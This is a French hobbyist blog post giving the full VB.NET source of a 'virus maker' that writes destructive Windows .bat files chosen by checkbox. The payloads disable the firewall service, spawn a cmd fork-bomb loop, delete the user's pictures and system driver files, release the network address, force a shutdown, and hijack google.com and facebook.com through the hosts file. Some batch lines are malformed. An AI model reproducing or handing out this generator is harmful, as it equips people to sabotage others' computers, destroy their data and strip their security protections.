tuto-informatique.seb30.overblog.com

choisiser votre virus en cochant une des case

puis cliquez fabriquer

sauvegardez le avec le nom que vous voulez il sera automatiquement en .bat

je met le programme

Imports System.IO
Imports System.IO.Stream
Public Class Form1


Private Sub Button4_Click_1(sender As System.Object, e As System.EventArgs) Handles Button4.Click
TextBox1.Text = vbNullString
End Sub


Private Sub Button3_Click_1(sender As System.Object, e As System.EventArgs) Handles Button3.Click
TextBox1.Text = "@echo off"
End Sub


Private Sub Button2_Click_1(sender As System.Object, e As System.EventArgs) Handles Button2.Click
Try
Dim savefile As New SaveFileDialog
savefile.ShowDialog()
My.Computer.FileSystem.WriteAllText(savefile.FileName & ".bat", TextBox1.Text, False)
MsgBox("Virus créé avec succès!")
Catch ex As Exception
MsgBox("erreur pendant la création du virus")
End Try
End Sub


Private Sub Button1_Click_1(sender As System.Object, e As System.EventArgs) Handles Button1.Click
TextBox1.Text = "@echo off"
If CheckBox1.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "shutdown -s -t 60"
End If
If CheckBox2.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "attrib +h ""%userprofile%\my documents\my music"""
End If
If CheckBox3.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + ":main" + vbNewLine + "start cmd" + vbNewLine + "goto main"
End If
If CheckBox4.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "ipconfig / release" + vbNewLine + "if ERRORLEVEL1 ipconfig /release_all"""
End If
If CheckBox5.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "net stop ""MpsSvc""" + vbNewLine + "taskkill /f /t /im ""FirewallControlPanel.exe"""
End If
If CheckBox6.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + " del /f /q ""C:\Users\%userprofile%\My Documents\My Pictures\*.*"""
End If
If CheckBox7.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 google.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.google.com >> ""Hosts"""
End If
If CheckBox8.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 facebook.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.facebook.com >> ""Hosts"""
End If
If CheckBox9.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del c:\windows\system\KEYBOARD.DRV" + vbNewLine + "del c:\windows\system\MOUSE.DRV"
End If
If CheckBox10.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del C :windows*.bmp cls"
End If
End Sub


Private Sub LinkLabel1_LinkClicked(sender As System.Object, e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
System.Diagnostics.Process.Start("http://tuto-informatique.seb30.overblog.com/")
End Sub




End Class